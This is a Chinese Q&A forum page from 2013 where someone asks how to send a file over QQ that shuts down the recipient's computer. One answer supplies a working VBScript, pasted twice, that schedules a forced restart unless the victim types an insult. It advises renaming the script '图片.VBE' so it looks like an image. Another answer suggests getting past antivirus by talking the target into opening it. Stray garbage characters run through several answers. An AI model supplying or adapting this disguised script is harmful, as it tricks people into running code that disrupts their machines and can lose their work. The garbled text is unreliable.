怎么通过QQ发送一个文件让对方电脑马上关机?
5个回答
2013-07-21
展开全部
通过QQ发送一个文件让对方电脑马上关机,是行敬州不通亮皮蔽的,因为凡是通握银过QQ发送的exe文件都会被强制改成其他扩展名文件,电脑就不能识别了!但是有其他的办法,如果你真的想要,而且只是用来恶作剧,我可以把那些方法提供给你,但是不要损害他人!联系我的QQ邮箱。
2013-07-21
展开全部
新建TXT文档把下面代码输入on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "册仿陆我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不大告说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈州顷哈哈哈,真过瘾"保存后重命名为图片.VBE
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "册仿陆我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不大告说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈州顷哈哈哈,真过瘾"保存后重命名为图片.VBE
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2013-07-21
展开全部
你要对方关机的前提是要对方打开这个软件而且不被杀毒软件K掉这种整蛊软件很多亏旅皮,你可以去网上找下。不过对方打不镇悄打开就看你的销差忽悠能力了。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2013-07-21
展开全部
有啊,但是可以结束的
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2013-07-21
展开全部
没有的
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询